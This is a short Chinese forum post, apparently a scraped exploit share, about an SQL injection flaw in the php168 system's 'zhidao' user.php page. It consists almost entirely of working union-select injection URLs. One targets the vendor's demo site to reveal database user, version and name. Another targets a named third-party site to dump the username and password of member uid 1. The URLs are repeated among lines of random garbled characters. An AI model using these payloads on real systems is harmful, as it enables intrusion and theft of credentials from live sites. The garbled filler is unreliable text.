php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
                                       

http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
7 n$ e  u. ^! r- E* z                                                     
, h: k1 J/ c9 L9 H( |                                                                  
7 z+ n+ C' T; h4 @8 O1 l                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
0 i5 r2 l! K% L) M; f+ t
! y/ C" \3 B8 }# z% v" E, |

5 S% m  y; E: _+ S5 J                                                            

http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
8 {2 d! i  }$ c- p

6 y. l5 v7 \" P' V6 S# F( h9 T5 r1 h
3 s* C8 f6 o, z: t7 b) |# \( C                                                                    
+ B6 C4 D$ o3 z( v5 |1 {7 n4 z) |